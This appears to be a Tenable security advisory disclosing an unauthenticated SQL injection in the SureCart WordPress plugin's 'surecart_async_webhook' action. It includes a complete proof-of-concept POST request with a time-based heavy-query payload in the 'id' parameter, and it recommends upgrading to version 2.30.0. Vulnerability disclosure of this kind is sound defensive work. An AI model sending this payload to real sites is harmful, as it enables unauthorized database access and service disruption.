SQL Injection in SureCart WordPress Plugin

High
← View More Research Advisories

Synopsis

A researcher at Tenable discovered an unauthenticated SQL Injection (SQLi) vulnerability in the SureCate WordPress plugin.

The SQLi exists because of a lack of validation of the parameter 'id'  used in the 'surecart_async_webhook' action which is accessible without authentication.

Proof Of Concept:

The vulnerability can be reproduced by performing the following POST HTTP request against a WordPress instance using a vulnerable version of the plugin and noticing the delayed response due to this heavy request:

POST /wp-admin/admin-ajax.php?action=surecart_async_webhook HTTP/1.1
Host: VULNERABLE_WORDPRESS
Accept: */*
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Connection: Keep-Alive

id=1 AND 1=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)

Solution

Upgrade to SureCart 2.30.0 or later.
